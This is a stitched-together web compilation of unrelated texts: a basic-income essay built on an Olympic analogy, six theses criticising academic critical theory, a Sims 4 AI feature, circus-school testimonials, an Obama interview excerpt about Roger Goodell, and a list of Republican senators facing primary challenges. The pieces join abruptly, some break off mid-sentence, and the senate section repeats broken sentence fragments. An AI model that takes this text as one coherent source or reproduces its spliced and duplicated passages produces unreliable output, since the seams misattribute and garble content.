Further reading [ edit ]"Ok Douglas Smythe first off thank you. This razor is a beast, 3 days of growth... first gem ever, almost bbs in one pass. Wow. I don't even want my DEs now lol!~ Mark Beresford II
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on empty stomachs, without any shoes, with weights shackled around their ankles and their bodies covered in life’s daily bruises, and when they don’t win, we look down on them for not trying hard enough. To be clear, I’m not making an argument here for the unbanning of all performance-enhancing drugs, because it is indeed possible to go beyond leveling the genetic playing field and into the realm of uncrossable physical performance gaps regardless of any amount of skill and effort. I’m simply pointing out that this argument is more complex than “drugs are bad.” The complexity arises in acknowledging that some bodies effectively manufacture their own drugs, and without acknowledging that, we perpetuate unequal starting points and the great myth of meritocracy.
As a further example, imagine for a moment that it was considered unfairly “performance-enhancing” for an Olympic swimmer to shave their body or a wear a cap. Those swimmers who were naturally hairless, would of course have a genetic advantage, but it wouldn’t be seen that way because it was a product of genes that prevented hair, and not technology like a razor or wax. In this case, would you argue that technology could level an unlevel field, or that technology would provide an unfair advantage? What if someone had so much money they could afford the technology to alter their genes to remove their hair? Would that be cheating, or would it be playing by the rules? We say we want a world where everyone starts on the same starting line, where no one races toward the finish line without shoes or shackles or empty stomachs, but we celebrate the crowning of those with unfair advantages as matter of course. We put our billionaires on pedestals, even when their parents were billionaires, and lie the great lie that they earned it just as if they had started with nothing. In what world can someone like Donald Trump claim to be a self-made man who started from nothing despite starting with far more than most of us can even dream of ever attaining in an entire lifetime of the hardest work imaginable? This world is the unfortunate answer. However, perhaps the greatest lie of all, is how we even confuse complete randomness with what is earned and deserved. Pure dumb luck can be the difference between a gold medal and never even crossing the finish line because a bee just happened to sting you and you just happened to be allergic to bees. Random variation can be such a powerful and yet largely unacknowledged predictor of outcomes. I think one of the strongest examples of the power of randomness is revealed in a study of judges and their stomachs.
Most of us tend to believe in a justice system where justice is served blindly. The law is the law, right? Well, it turns out that judges vary their sentences according to how hungry they are. Randomly appear before a judge right before their lunch, and you will end up worse off than had you randomly appeared before that same judge right after their lunch break, on a full and happy stomach. Recognize that and consider just how many lives have been altered based on that pure randomness. How many people got a second chance because their last name put them first? How many people were given harsh sentences because they drew the short straw? Considering our Olympic analogy again, how many people have won medals and how many never even placed, based not on genetics, hard work, or performance enhancing drugs, but ultimately the luck of the draw?
If we truly do want a meritocracy, we need to stop lying to ourselves and recognize uneven starting lines whenever we see them. If we want the winners of races to be the ones who most “deserved it” based on effort and skill, then we should want to make sure the winners are winning because they should have won fair and square, and not because their competition had no shoes. So how can we do this? One of the greatest steps we can take toward a more real meritocracy is to provide everyone an unconditional basic income. The only way we can make sure winners aren’t just winning because their competition had insufficient access to resources is to make sure everyone has the same minimal access. It’s starting line logic. Just provide everyone an amount of money sufficient to eliminate poverty as a new starting line to race from. All income earned above that amount is kept so there are still winners and losers, but the winners won’t win simply because those who could have beaten them were weighed down, and the losers won’t lose simply because the race had beaten them before it even began. There are other steps we can take to level our playing fields by increasing opportunity, and how to best go about doing so is a great discussion to have, especially during the Olympics. What kind of world do we want? Do we want a world where people can be born with nothing and achieve everything? Or do we want a world where the circumstances of our births increasingly determine the courses of our lives more than any other factor? Do we want our champions to win on level playing fields? Or do we want our champions to be the sons and daughters of those who own our playing fields?
I offer that the answer to these questions could very likely determine the very fate of our species, for the owners can only own so much before the Olympic Games become the Hunger Games.SIX THESES ON CRITICAL THEORY
•1.
A critical theory that has gotten serious about politics has only one question left to answer. Having convinced another semester’s worth of young philosophers to grant a conceptual priority to non-identity or Becoming, how are these now to become real in the world? What kind of institutions are needed to safeguard non-identity, and not just in thought? Does Becoming recommend some practices over others? Who are that concept’s proper bearers? Critical theory in the US has largely been a fight over this last—over who gets to count as devenir’s chosen agents and avatars—over which identity position can most convincingly pose as its antithesis, as non-identitarian. Queer people? Black people? Diaspora Jews? All migrants? And yet the candidates proposed by radical philosophy’s master thinkers have generally been rather different from these. Their stated preferences have been not for this or that group, but for certain institutions—for free markets or for empire and often for both; the empire of Becoming will help install the non-identity market. The pied noir philosopher sends an old classmate a nineteen-page letter defending French colonial society in Algeria and then publishes a landmark attack on anti-imperial anthropology—an attack which counts among its core claims the notion that indigenous people are fully as violent as the Europeans who have subjugated them. That book’s most famous accomplishment is to declare a certain civilizational technology, unevenly distributed across the planet, a universal term and thereby to render strictly unnameable non-civilizational and decolonized alternatives to it. The theorists of the rootstock, meanwhile, write a jubilant prose in praise of, first, those English nomads who know how to inhabit the whole world by “pitching their tents over the sea”; second, any social formation able to “expand, conquer, capture”; third, Africans who fantasize about being beaten by French settlers. Hardt and Negri, for their part, have simply ejected peasants and the indigenous from the ranks of the multitude; the universal, in their hands, becomes the universal-minus-two. Derrida says that people attached to their localities are conceptually “primitive” and asks on these grounds that we not criticize the mass media, since with any luck the phantasmatic abstraction that these generate will produce “dislocation” in people too attached to place. Hollywood and television will displace the natives. A question thus becomes poseable: Should you still speak of “Western metaphysics” if those you consider most duped by it live outside the West? In “White Mythology,” Derrida says that language has as its corollary or nearest equivalent the (market) economy. Nothing escapes the market; nothing ever has; nothing ever will. Everything is subject to “the general law of value”; such was the great insight of Saussure, as presumably of Jevons before him. We have to think of words as a kind of currency, then, always in motion, always fluctuating, constantly assigned new meanings or values. Attempts to think positions outside of the marketplace are doomed either because markets are entire and comprehensive or because the principles of the market are embedded in language itself, even in those regions that lack commodity exchange. Look backwards: Near the beginning of “Plato’s Pharmacy,” Derrida objects to the king who thinks he can set prices, offering in his place a writing that cannot help but circulate freely, beyond all possibility of regulation. Look forward: Derrida finishes Given Time by arguing against the Aristotelians who think that economies should be ordered according to some non-economic conception of the good. We should pledge ourselves instead to the not-really “bad infinity” of “chrematistics”—the ungoverned accumulation of wealth—because commerce, like writing, is what “opens” the household; it is the “threshold” that teaches us to look beyond the family. International trade is therefore just another version of the gift or “hospitality,” of welcoming into the home something that wasn’t originally there: a high-tea cake stand handmade in India; a fringed shoulder bag whose kaleidoscope-and-bearded-iris print was woven by widows in Guatemala; a batik wall hanging. This Levinasian neoliberalism finds its counterpart in the Harvard professor who, having helped introduce Totality and Infinity to the study of Latin American literature, recommends to the keepers of alterity that they “consider medieval England, where Normans were wise enough to know that they ruled a nation of foreigners”; or to consider the “Moslem empires,” who have “traditionally been hosts to the cultural differences that Christendom does not abide.” Critical theory names itself here as the expertise of invaders, a program for the wise rule of foreigners—not as the fresh round of decolonization you were taught to expect, but as an alternate imperialism. But then who didn’t know this already? Critical theory has long been characterized by a vocabulary of openness, plurality, globalizing flows, and flexible networks that we would have easily recognized as neoliberal and Americanizing in any context other than our own. Anyone surprised to find Foucault arguing that no-one has a right to health care simply wasn’t paying attention. The other name for neoclassical economics is “marginalism.”
•2.
The ideological valences of critical theory are routinely inverted. This is often to be welcomed. There is nothing discreditable about those old Marxist glosses on Roland Barthes or anti-colonial deployments of Derrida, as oblivious to their source texts as such rejiggings inevitably are. It is a kind of hygiene to be able to read Nietzsche and not see a single-minded neo-aristocrat or to read Heidegger and think only that you should switch to free-range eggs. Rare is the philosophy that cannot be improved by inattention. But why would we believe that arguments only get flipped in one direction, further on down the road towards emancipation and equity? It is fairly easy, after all, to show how specific theoretical schools become what they claim to negate. Any new concept that allows people to speak hitherto unspoken claims—to write fresh sentences and form fresh sets—will become available, automatically, for purposes other than the ones to which it was first put. Manifestos against consumer capitalism furnish pretexts for less consumerist modes of capitalism or, more often, for un-massified modes of consumption. Queer theory mutates into sex discourse the same day we teach it—back in the dorm, that very afternoon. Postcolonial theorists can only convince themselves that they are carrying on the work of Fanon and Cabral as long as they don’t read their counterparts in history, whose most successful tactic these last twenty years now has been to recycle the arguments of Bhabha, Chakrabarty, and others as liberal justifications for European expansion. Postcolonial theory has summoned as its twin an apologetics in which every incursion is an “encounter,” every confiscation a “new opportunity,” every colony a distended “border”—a zone of “cultural contact,” all membrane, no cell. One historian refers to invasion as “armed immigration.” An introductory course on postcolonial writing begins in an anti-political mode, by recommending that its students set aside “the blunt tools of violence and political rabble rousing” in favor of the “complex identities” on display in literature. But not just in literature: A historian at Vassar, two-time winner of the Bancroft Prize, sets out to overturn the anti-imperial history-writing of the 1960s and ‘70s by showing how “polyphonic” the North American colonies were and offers a few complex identities as evidence: the British baronet who directed the Irish overseer to dress his African chattel in Iroquois drag. A Cambridge anthropologist, meanwhile, director of that university’s Museum of Archaeology and Anthropology, wants you to know that Pacific islanders have always been “cosmopolitan” and offers as his second example of their sophistication three men who were kidnapped by the Spanish near Papua New Guinea in the early 1500s—three non-Europeans, that is, who became world-travelers only because they were abducted. The just society is a multiethnic slave plantation. Worldliness is a good even at swordpoint. Any institutional description of critical theory in the academy would have to flag the predictability with which such transpositions occur. It is no use, at this moment, thinking back to your mentor and knowing her to be righteous. The vocabulary we devise to describe the redeemed society will furnish others with the language they need to justify afresh the protocols of the administered world. This is the service critical theory provides. Every Foucault gets his Ewald.
•3.
It has become common for intellectual historians to point out that Marxists give a distorted picture of the long seventeenth century. Almost no-one in that period, they say, was sticking up for commerce or what we would call capitalism. Inherited political discourses simply provided no language with which to justify commercial life, which means that there was no “bourgeois ideology” in early modern England, and the Marxists are wrong to see it there, hiding under every republican rock. There may have been capitalism, but there was no system of capitalist belief. That point seems right as far as it goes, but is misleading all the same, because it badly misunderstands how ideology usually works. Ideology typically has the structure of a disowning, and not just in the seventeenth century. Capitalism-without-strong-capitalist-beliefs names the ordinary condition of modern societies. Only in exceptional cases has ideology ever offered a full-throated defense of the marketplace. Indeed, most of what we think of as “bourgeois culture” names the middle class’s distinctive ways of protecting itself from capitalism—its commitment to family and home; a certain way of enjoying the arts—which quickly leads one to the conclusion that not even the historical bourgeoisie has embraced capitalism or thought of the market as a place one could happily live. It does not much matter, then, that commodity exchange is Derrida’s uncamouflaged druthers or that A Thousand Plateaus reads like it was co-authored by Kipling. Nor does it matter that critical theory is full of conceptual displacements and dignifying proxies, verbal sublimations that, when parsed back to their real-world and institutional coordinates, mostly end up meaning “expanding markets” all over again, though if you already know that “freedom” and “democracy” and “human rights” are neoliberalism-by-another-name, then you are well placed to see that “dissemination” and “deterritorialization” and “the rhizome” are, too. Critical theory’s most significant ideological work has not been to enforce a set of basically metropolitan commitments, entrepreneurial and buccaneering, but to license a set of false disidentifications from same. The problem is not that we read Derrida and thereby become neoliberals, but that we take our reading of Derrida—or Rancière or José Muñoz—as sufficient evidence that we aren’t. One of the forms that power takes in a mature capitalist society is the professional class’s ability to build bulwarks against capital itself: respites and pseudo-negations. A history of bourgeois disavowal is underway; the challenge is to name its changing forms, from domesticity to aestheticism to … critique.
•4.
What if we started from the simple fact that critical theory is now a predictable part of a college education for twenty-year-olds who aspire to be professionals, that the works of Agamben and Badiou are mostly housed in (protected and subsidized by) institutions of the state and of status? The first thing a sociologist will tell you about the professions is that they are much larger than they were a century ago. There are more professions—more ways to be a professional, more lines that count as professional—and there are many more people in them, even in relative numbers, more people, that is, whose station involves being highly educated, whose work requires them to showcase that education, and who have at best limited patience with bosses. Even in the administered society, one mode of unadministered labor has continued to grow, and Adornian attacks on administration, mostly silent on the professions anyway, are perhaps best understood as the spontaneous ideology of self-directed work, a further blessing bestowed upon the favored and the exempt—on the understanding, however, that “the exempt” make up an expanding class fraction, and not, as the ideology itself requires, a declining one. The proponents of a creative capitalism, meanwhile—those professors of management who advise rust-belt cities to use gay people as economic bait—write a prose that is sometimes hard to distinguish from Adorno’s own. If you want to understand the current state of critical theory, you could do worse than ask which of the following sentences I’ve taken from Minima Moralia and which from management consulting: “Capitalism has also expanded its reach to capture the talents of heretofore excluded groups of eccentrics and nonconformists. … The creative individual is no longer viewed as an iconoclast. He … is the new mainstream.” “New structures for systematically eliciting and applying creativity … have become ingrained features of our economic life.” “We insist that all our workers contribute their minds.” You can object that the work of Richard Florida and others is ideology—that it is out to instrumentalize fugitive thought—and you’d be right. But it is this objection that is the more thoroughly ideological position, refusing as it does to face the existence of a post-managerial capitalism as a social fact in its own right, as all the evidence one needs, in fact, that fugitive thought is instrumentalizable. Florida is right in a way that most of his critics are not—the ones who think that the alternative and interdisciplinary humanities exist at Princeton but outside of exchange society, the ones who think that because they are not interested in capital, capital is not interested in them.
But then are the anti-capitalists really not interested in capital? The most consequential mistake that casual readers of Bourdieu ever made was to consider him a theorist of high culture in some settled sense of that term, mandarin and European, a theorist, that is, of the concert hall and the sculpture garden, of the art novel and the opera cape. But Bourdieu’s argument, however keyed to the empirie of France in the 1960s, holds only that culture tends to stratify, that social actors will usually elevate some cultural modes (and forms of intellection) at the expense of others. It does not say that the elevated term has to be Chopin. Indeed, there is zero reason to think that eliminating mazurkas (or piano lessons or Henry James or even literature as a category) would overturn cultural capital, any more than eliminating the franc has overturned money. One might, it’s true, wonder how cultural capital has survived the last half century’s apotheosis of pop, the rollback of the old patrician-bourgeois culture of the West, postmodernism’s putative muddling of low and high. But the sociologists have gone and checked, and the answers are not hard to find: Fancy people are now more likely to consume culture indiscriminately, that is, to congratulate themselves on the expansiveness of their tastes; indistinction has become distinction. They are more likely to prefer foreign culture to their own, at least in some who-wants-takeout? kind of way. And they are more likely to enjoy culture analytically and ironically, belligerently positing a naïve consumer whose imagined immersion in the object will set off everything in their own approach that is suavely arms-length and slaunchwise. Such, point for point, is the ethos of the new-model English department: of cultural studies, new media, the expanded canon, of theory-courses-without-objects. To bring new types of artifacts into literature departments is not to destroy cultural capital. It is merely to allow new things to start functioning as wealth. Even here, the claim to novelty can be overstated, since it is enough to read Bourdieu to know that the claim to interpret and demystify has always been an especially heady form of symbolic power. The ingenious reading confers distinction, as do sundry bids to fix the meanings of the social. Critical theory is cultural capital. Citing Judith Butler is one of the ways in which professional people outside the academy understand and justify their own elevation. Bickering recreationally about the politics of zombie movies is just what lawyers and engineers now do.
•5.
Scholarship is possible only because learned people need not fight the fights that criss-cross whatever patch of the world they study and because they are not in competition for that field’s distinctive goods. The biggest advantage they possess is that they can come and go as they please. The ecologist will leave the cloud forest before the semester starts. The anthropologist was in Brazil for rather less long than you had imagined. The sociologist won’t even spend the night in Cabrini Green. Likewise, the ethnographer determined to figure out how a particular cluster of villages distributes its yams needn’t amass any, any more than the botanist counting tamarisks is tempted to divert their CO2 for her own personal use. One wonders whether critical theory—this committed thinking, this liberation philosophy—is any different on this score. Is there, in addition to the scholastic point of view, a critical one? Critical theory is perfectly capable, of course, of neutralizing situations in conventionally scholastic ways. Derrida’s differance and deferral, Deleuze’s virtual, Agamben’s potentiality—these all demand that I withdraw from context and conjuncture, that I cognitively bracket any entanglement I might have with this actuality or with this organization of the social, in a manner that presumes leisure and distance—ie, that I can afford so to withdraw. The same could be said of the utopian, the messianic, the open horizon of the future, or the not-yet—and that list could doubtless be extended. Any critical theorist who offers to liberate you via play is confident that you don’t have more pressing business.
Non-involvement, however, is what critical theory most shares with ordinary scholarship. What makes critical theory distinctive is its determination to pantomime the involvement that its scholasticism has already precluded. The critical point of view is the scholastic view that doesn’t take itself to be scholastic, that strikes a set of anti-academic poses while preserving all the core features of academic vision. If the scholar is the one who renders a field legible by suspending its interests and stakes, the critical theorist is the one who pretends that all stakes enter his thinking intact. The critical point of view is what induces us to habitually misdescribe a given colleague’s attitudes and expressed judgments as her “politics” or to write about Spinoza and think that we are thereby writing about matter. The critical theorist, indeed, renovates all the old idealist arguments by translating them into a speciously materialist idiom—materiality, yes, but “of language”; politics, yes, but “of representation”; violence, yes, but “of the concept.” We know now to write the word “bodies” where twenty years ago we would have written “subjects”—and then we go ahead and make all the old arguments about subjects anyway. The wholly accurate insight into the interestedness of philosophy—that all philosophy has a politics—reverses itself into the sluggish conviction that writing philosophy is all the politics one needs. Some scholars, the critical ones, make a claim and think it’s a gesture. They retire to their writing carrels and call it an intervention. It is one kind of prerogative to be able to write about a discourse or culture or social scene and not be bound by its rules, not to have to get something done in it—to not be in the game. It is a second prerogative, derived from this first, to be able electively to treat that deactivated field as though it were still running on live current.
•6.
The answer to a theory this uncritical would be an un-critical theory.The Sims series is a powerful world-building toolbox with 14 years of experience. And it's about to get even better.
On September 2, 2014, Electronic Arts' Maxis studio will launch The Sims 4, the new core installment of the hugely successful PC franchise. Like any sequel, the game will feel like an old friend: You're still going to create your own sims, build your own house, determine your own lives, and hopefully not kill or neglect your own avatar. But the technology underneath—the bones and sinews that hold the universe together—is seeing a major upgrade for the fourth generation.
For The Sims 4, the studio built a more powerful character creator, letting players tug, push, pull, and adjust every last detail about a Sim. The game integrates online social aspects, such as sharing house builds, Sims, and room decorations, and streamlined building for players who want to jump into the action.
"In a way, it's sort of like building three or four games at the same time," says The Sims 4 lead producer Lyndsay Pearson, who's been with the franchise since the beginning. "There's always things that we want to do with The Sims that we are never able to realize at various points or things we couldn't yet figure out what to do... Making The Sims to continue to be more believable, more dimensional, and to have more nuance to their behaviors is something we always strive for."
One step forward is tweaking the routing system, or the way Sims navigate. "Ever since The Sims 1 people have complained about the behavior of Sims," says Peter Ingebretson, a software engineer on The Sims 4. After researching human social behavior, the developers made Sims less awkward and more believable. "It's that subtle polish," Pearson says. "Now we can say 'Sims can now walk through doors without getting stuck,' but it's actually extremely difficult to make that happen. "
This image visualizes the potential routing outcomes for a Sim changing posture in The Sims 4
Resting at the heart of every Sims game is its artificial intelligence, the endless web of models and possible outcomes that runs the world behind the scenes. In gaming, AI usually refers to how the environment, and particularly non-player characters, interacts with the world and the player. However, The Sims franchise stands apart.
"In many other games, the AI serves as a foil to the player. The AI is controlling characters to do fundamentally different things than the player characters do….They're really operating in a different world with different possibilities," Ingebretson says. "[In The Sims] if you just sit back and watch your computer for a while, the AI will take over and also control the actions of your sims. That means our AI has to be more honest and has to make more believable decisions."
Listening to Ingebretson describe the ins and outs of The Sims 4 AI feels like a blunt lesson in human psychology. At its most basic, the AI works with the interplay between two mechanics: commodities and utility curves. Commodities represent a Sim's internal state while a utility curve dictates an avatar's desire to fulfill a commodity. Every interaction opens up a series of possible improvements. "For instance, if a Sim drinks a cup of coffee, their energy will go up but their bladder will go down," Ingebretson says. Just as in the real world, everything's a trade-off. So, when making every decision, a Sim considers all possible actions, analyzes their outcomes, references the utility curve, and selects the best one. However, these actions are somewhat randomized by design so the AI doesn't start to feel predictable.
This split-second exchange is what Ingebretson refers to as autonomy—basically, when a Sim is on auto-pilot. In previous Sims games, autonomy was a start-and-stop system. Once a Sim was completely done with an action, it would run autonomously. In The Sims 4, developers have improved the AI's efficiency by creating an autonomy hierarchy. "Instead of considering everything in the entire world every time a Sim is deciding what to do, we first evaluate all of the commodities and figure out what sorts of things are most important to the Sim," Ingebretson says. "That lets us eliminate from consideration a large amount of possibilities." This means Sims become faster and more efficient at making decisions and can multitask rather than following a strict "first this, then that" script.
To give more insight into the mind of a Sim, Ingebretson describes how they flirt: "So when a Sim is deciding whether to flirt with another Sim, the first thing they've done is scored their desires and found that socialization is important to them. They'll consider a couple possible things. They might decide that socialization is in the top few options for them. They'll score all the things they can do, and we also score Sims in a hierarchical way. They'll pick a Sim that they like, are close to, or are interested in and at that point they'll consider the possible interactions they can perform. One of them might be flirt interaction. That might score highly because the Sim is particularly flirty or they're in a particularly flirty mood. At that point, the Sim will consider a number of different interactions and will choose flirty by possibly telling a joke, possibly telling a story, or possibly getting into a fight."
Sounds like high school.
All these improvements and advancements makes a game feel more natural, but when does an AI system become too efficient? "It's an interesting line we deal with on each of these projects because we can continue to make the Sims smart enough to run their own lives," Pearson says. "What is too smart?"
Left to its own, perfectly optimized devices, the AI could easily take control and play the game for you, letting Sims perform a unnatural number of actions at once or overruling player interaction. The team introduced delay and attention thresholds to artificially limit the system. "It's impossible for a human brain to manage that many streams of input," Ingebretson says. "For The Sims, we're building a model of human life. We need to model the faults of people as well as their efficiencies." What was once a technical limitation, then, has become an artificial one.
To work at on The Sims is to have relentless attention to detail. For the fourth installment, developers tweaked how Sims hold food, stand in a circle while socializing, and even introduced Lamarckian and Mendelian inheritance in the game's gardening system. In The Sims 4, you're in control of your own virtual world—now more than ever.My son...ended up absolutely loving camp this week,... It was so clear how doing circus empowers kids to feel good about themselves and their bodies and their energetic kinesthetic selves.
"This [NECCA] is a good business plan. This creates jobs, economic development, opportunity, but most importantly, it changes kids' lives."
This is my favorite class that I have ever taken. This class has given me more than any other learning experience has in the past. I gained a lot more self confidence, which is very important. Before, I was constantly nervous about what everybody thought of me or that I would always embarrass myself. Now, I am freely extroverted and I have learned to converse and work with people better. I am also really in shape as well. I hated gym, and I still hate gym, so I would find every way possible to get out of gym and physical activity. I can positively say that this circus class gave me the best experience of my entire life.
I wanted to thank you for a most magnificent week. Aerial intensive was a gift to me on many levels. You all operate a top notch program that I would enthusiastically recommend to anyone pursuing circus arts. I was amazed at how little joint pain I was experiencing after all the hard work. I attribute that to the thorough stretching regimen.....
I appreciate the way you teach us how to prepare, protect, respect and take care of our bodies...to develop our inside awareness of every single muscle and how we connect them together. This kind of training makes me feel I'm going to do circus during my whole life and not just when I'm young!
It was a great experience. Zeb was a wonderful teacher, encouraging but not condescending. He makes it look so graceful and fluid. You and your team do good work!
We had some friends visiting...we were all over 65. Initially, everyone was concerned with how well they would do, what they would look like and if they were up to the exercises. The instructor was soft spoken, patient and helpful in assisting us through the exercises. Proving again that all things are possible with the right attitude.
Thrilled to support NECCA and the young professionals it cultivates, recruits, and inspires. NECCA is the perfect example of how Brattleboro's arts-driven community continues to grow the vibrancy and strength of the economy in Windham County!
What an amazing time Harper had at her birthday events...Our whole family wound up trying the trapeze, and I think we all surprised ourselves thanks to the gentle guidance and encouragement of our instructors.
The coaches as NECCA were caring and gentle with our sometimes fragile population. The experience for them was exhilarating. Every week they left the studio with a feeling of success...experiencing the thrill and challenge of circus arts.
Working at NECCA and being amongst all of the driven, creative and loving humans here has helped me grow and change so much.
The WRCC Circus Arts program has made me feel healthier and more able to work with people I don’t know very well. Working out every morning has felt so good this last semester. I thought it would make me feel tired all day, but it made me feel more energetic, positive and ready to face the day. It was fun to learn to work so closely with an almost completely unfamiliar group of people. After taking this class, I would be able to go up to any of my classmates and talk outside of class.
I love the intuitive, athletic, and creative approach to circus - being able to use my "disabled" body in new and liberating ways has been the best therapy I could ever get. It's such fun to be around others who are using their bodies with such skill and agility - very inspiring.
I love the variety of classes and the small class size. The trainers are more knowledgeable than any other gym I've trained at.
I have studied a lot of anatomy in college and then again from a Yoga perspective. It never ceases to amaze me how much there is to learn. I left the aerial teacher training feeling like I understand my hollow body better then I ever have. I'm excited to add what I've learned at NECCA to my collection of studies and be able to share my knowledge to keep new aerialists safe as I venture into teaching. I have definitely found another wonderful resource of knowledge in the world. I hope to come back and study with you all again soon.
The WRCC Circus Arts program is like no other class I’ve taken before and not just because it’s a circus class. This class has pushed me to put all my trust in people I didn’t know and that definitely helped my trust/team building skills. I am not much of an athletic person but by taking this class I would work out everyday. I love this class and I hope I’ll be able to take it again in the future.
Out of everything I’ve gained from this class, this class has improved my athletic ability. I’ve differently noticed a physical change in my size and also I am more than capable of doing bigger and harder things like climbing all the way up the fabric or pulling myself up on the trapeze and upper body stuff that I was physically unable to do before this class.
I've recommended your program to everyone I know in the circus industry. Last year's Trapeze Teacher Training remains the best money I've ever spent on continued education in this field.
NECCA encourages individual creativity and exploration while offering scientific, objective reasoning for foundational concepts (i.e. good technique for shoulder health). The circus community can be competitive and scary, but when I come to NECCA, I feel that every staff member and instructor cares about my well-being and my success. I feel safe and confident that I'm receiving some of the best instruction in the world.
The WRCC Circus Arts program has definitely increased my level of self-confidence. I’m more comfortable around people than I was when this class first began. My athletic ability has also increased throughout the duration of this class, and so have my team building skills. When this class started I only knew one of my classmates and they were the only person I would partner up with to work. Now I’ve grown comfortable with everyone in this class and I think we all make a pretty good team.
NECCA is one of the most wonderful artistic institutions in the area. Their performances are consistently top-notch even with a wide variety of ages and abilities represented. To have such a world-class facility offering performances here in Brattleboro is amazing. I'd never seen this kind of circus before I went to a NECCA show. No elephants, no canons, no tricks, just amazing and sometimes mindblowing artistry and skill. Worth every penny and then some.
I love...the positive attitude, the can do approach of the coaches as well as their expertise both as teachers and performers. I also LOVE the mix of professional, not so professional and the mix of all ages. It's just lovely.
I believe in the power of circus arts! I support the mission of NECCA: Circus Arts for everyone: inspiring fun, creativity, fitness for all ages!
Thank you for Boot Camp. I don't think I have ever benefitted so much in such a little period of time throughout my circus career.
This class has made me feel less shy and it was really fun and I am much more confident and not as scared when I mess up. It has made me strong and improved my athletic abilities. My team building skills are much better because I’m not as |
refour was picked precisely because it was a query of such frequent and recent interest among some Chinese.
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AdvertisementPresident Obama sat down with HBO's Bill Simmons for a lengthy interview published in GQ on Tuesday, and among the numerous topics discussed was NFL commissioner Roger Goodell.
Simmons, who has been vocal in his criticisms of the commissioner, broached the subject of Goodell by bringing up a hypothetical situation in which three of the major sports leagues were looking for a new commissioner.
Simmons asked Obama whether he would be interested in any of them:
Simmons: Baseball, football, basketball, all the commissioner jobs open up next year. Which one would you want?
Obama: Well, I'm best suited for basketball. But I cannot believe that the commissioner of football gets paid $44 million a year.
As Obama noted, Goodell reportedly makes $44 million a year in salary and bonuses, a figure that has skyrocketed during his tenure.
Goodell pay chart More
In recent seasons, as controversies around football have mounted, Goodell and his lofty paycheck have been heavily criticized. Many have wondered whether the commissioner's job is safe.
Most recently, after the New England Patriots' Deflategate scandal, many speculated that Goodell's job was in serious danger because he made an enemy of Robert Kraft, the Patriots owner who is arguably the biggest reason Goodell become commissioner in 2006. Before Deflategate, Kraft had been Goodell's biggest supporter: He repeatedly defended Goodell's $44 million salary and fostered such a close friendship with Goodell that many jokingly called Kraft the "assistant commissioner."
Still, as Obama suggests to Simmons, as long as the NFL is making money, Goodell's job is probably safe. (It's also worth noting that Simmons seemingly tries to bait the president into criticizing Goodell and the NFL, which Obama does not fall for):
Simmons: When you said, "I cannot believe …" I didn't know where you were going with that. Have you thought about calling Roger Goodell and being like, "What are you doing? Can I help you?" [Obama laughs.] "Can I give you some advice? Want to have dinner?"
Obama: They're making a profit, and I think that's what the owners are most concerned with.
Simmons tries again, to no avail:
Simmons: So you think the owners like having him there?
Obama: You're not going to drag me into your fights, man. Come on — I've got enough fights of my own. [laughs] This is between you and Roger.
And let's face it: Obama has bigger fish to fry than the NFL.
NOW WATCH: Take the IQ test that every NFL rookie has to take
More From Business InsiderHard-line conservatives are rising out of the ashes of a weekslong government shutdown, emboldened by the possibility of adding to their ranks in the Senate next year — whether by picking up Democrat-held seats or taking out Republican incumbents.
Just two Republican senators have lost in primaries in the last two election cycles, but that's not stopping a growing number of intraparty challengers this cycle. Conservative third-party groups and candidates hope to give more backup to folks like Sens. Ted Cruz of Texas and Mike Lee of Utah, who led an effort to defund the health care law.
The GOP brand overall may have taken a significant hit this month and caused at least some concern within the party about obtaining or keeping the majority in either chamber in the next couple of election cycles. But the shutdown only fueled challenges to sitting Republicans.
It's still too early to know exactly how competitive many of the challengers can be. At this point, there is a big difference in the competitiveness of the races from the top three to bottom three on this list. And as the most recent fundraising reports to the Federal Election Commission illustrated, nearly all of the incumbents’ opponents are starting out in deep financial holes.
Still, with outside groups such as the Club for Growth and the Senate Conservatives Fund beginning to engage, a challenger’s money isn’t the only threat — and any of these races could theoretically take off.
Here are the seven Republican senators most vulnerable to a primary challenge, in order:
1. Michael B. Enzi, Wyoming
2. Mitch McConnell, Kentucky
This primary race won’t just decide the fate of the minority leader, it also plays a determining factor in the future of the GOP. McConnell’s decision to strike a deal with Senate Majority Leader Harry Reid, D-Nev., to reopen the federal government and avoid default invited immediate disparagement from his primary opponent and conservative groups. But Louisville businessman Matt Bevin, whom the Senate Conservatives Fund endorsed last week, starts out
. McConnell’s decision to strike a deal with Senate Majority Leader Harry Reid, D-Nev., to reopen the federal government and avoid default invited immediate disparagement from his primary opponent and conservative groups. But Louisville businessman Matt Bevin, whom the Senate Conservatives Fund endorsed last week, starts out far behind after one fundraising quarter. Bevin loaned his campaign $600,000 to help get it off the ground. One thing to watch is how much of his nearly $10 million in the bank McConnell will have to expend staving off Bevin in the primary. Should he prevail, McConnell will face Democrat Alison Lundergan Grimes in the general.
far behind after one fundraising quarter
. Bevin loaned his campaign $600,000 to help get it off the ground. One thing to watch is how much of his nearly $10 million in the bank McConnell will have to expend staving off Bevin in the primary. Should he prevail, McConnell will face Democrat Alison Lundergan Grimes in the general.
3. Thad Cochran, Mississippi
This name could leap off the list by the end of this year, as Cochran hasn’t even announced whether he’ll seek re-election. His third-quarter report offered no evidence that he intends to run again, as he raised just $53,000. But the veteran appropriator would likely have no trouble turning on the fundraising engine. Still, outside groups last week quickly endorsed the candidacy of his primary opponent, state Sen. Chris McDaniel. And the Club for Growth
whether he’ll seek re-election. His third-quarter report offered no evidence that he intends to run again, as he raised just $53,000. But the veteran appropriator would likely have no trouble turning on the fundraising engine. Still, outside groups last week quickly endorsed the candidacy of his primary opponent, state Sen. Chris McDaniel. And the Club for Growth is already on TV introducing McDaniel to the state.
4. Lindsey Graham, South Carolina
Graham’s top primary challengers have so far raised a fraction of what the second-term senator has been able to bring in this year. But conservative state Sen. Lee Bright and Nancy Mace, the first female graduate of the Citadel, nonetheless see an opportunity against the senator with a record of bipartisan deal-making. The goal for each is to face Graham one-on-one in the runoff, when anything could happen.
5. Pat Roberts, Kansas
6. Lamar Alexander, Tennessee
7. John Cornyn, Texas
Cornyn barely makes this list and will likely be expunged by December. After Cruz’s surprising primary victory last year, Cornyn, now the Senate minority whip, appeared to be among the most vulnerable to an intraparty challenge. But Cornyn is two months from the candidate filing deadline and has so far avoided gaining a significant opponent. Cornyn, who wields a similar voting record to Cruz this year, voted against the deal last week that reopened the government.
But Cornyn is two months from the candidate filing deadline and has so far avoided gaining a significant opponent.
Cornyn, who wields a similar voting record to Cruz this year, voted against the deal last week that reopened the government.The euro-area economy contracted the most in almost four years in the fourth quarter as trade and investment declined.
